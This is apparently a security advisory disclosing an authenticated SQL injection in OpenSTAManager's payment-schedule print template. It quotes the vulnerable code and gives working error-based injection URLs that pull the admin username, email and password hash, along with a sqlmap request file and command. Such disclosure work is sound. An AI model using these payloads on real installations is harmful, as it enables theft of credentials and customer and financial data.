Summary

An authenticated SQL Injection vulnerability in OpenSTAManager's Scadenzario (Payment Schedule) print template allows any authenticated user to extract sensitive data from the database, including admin credentials, customer information, and financial records. The vulnerability enables complete database read access through error-based SQL injection techniques.

Details

The vulnerability exists in templates/scadenzario/init.php at line 46, where the id anagrafica parameter is directly concatenated into an SQL query without proper sanitization:
Vulnerable Code:
if (get('id anagrafica') && get('id anagrafica') != 'null') {
  $module query = str replace('1=1', '1=1 AND `co scadenziario`.`idanagrafica`="'.get('id anagrafica').'"', $module query);
  $id anagrafica = get('id anagrafica');
}
The get() function retrieves user input from GET/POST parameters without validation. The parameter value is directly embedded into the SQL query string using string concatenation instead of using the application's prepare() sanitization function, enabling SQL Injection attacks.
Root Cause:
  • Missing use of prepare() function for input sanitization
  • Direct string concatenation in SQL query construction
  • No input validation or type checking
Affected Endpoint:
/pdfgen.php?ptype=scadenzario&id anagrafica=[INJECTION PAYLOAD]
Affected Files:
  • templates/scadenzario/init.php (line 46) - Primary vulnerability
  • templates/scadenzario/init.php (lines 34, 40) - Similar pattern with date parameters
  • pdfgen.php - Entry point for template rendering

PoC (Proof of Concept)

Prerequisites

  • Valid authenticated session (any user role)

Exploitation Steps

1. Confirm Vulnerability - Basic Syntax Error Test:
 http://localhost:8081/pdfgen.php?ptype=scadenzario&id anagrafica=1%22%20--%20
SQL syntax error displayed in application response
image
2. Extract Database Version - Error-Based SQLi:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
Result: ~8.3.0~ (MySQL version)
image
3. Extract Database Name:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
Result: ~openstamanager~
image
4. Extract Admin Username:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Result: ~admin~ image
5. Extract Admin Email:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Result: Admin email address
image
6. Extract Password Hash (Partial - XPATH 31 char limit):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Result: bcrypt password hash
image
7. Automated Exploitation with SQLMap:
Create request file sqli osm.req:
GET /pdfgen.php?ptype=scadenzario&id anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION COOKIE]
User-Agent: Mozilla/5.0
Run SQLMap:
sqlmap -r sqli osm.req --level 3 --risk 3 --dbs
SQLMap Confirmed Injection Types:
  • ✅ Boolean-based blind SQL injection
  • ✅ Error-based SQL injection (MySQL >= 5.6 GTID SUBSET)
  • ✅ Time-based blind SQL injection (SLEEP)

Impact

Who is Impacted:
  • ✅ All authenticated users - Any user with valid credentials can exploit this vulnerability
  • ✅ Low-privilege users - Even users with minimal permissions can access admin-level data
  • ✅ All OpenSTAManager installations - Vulnerability exists in the latest master branch
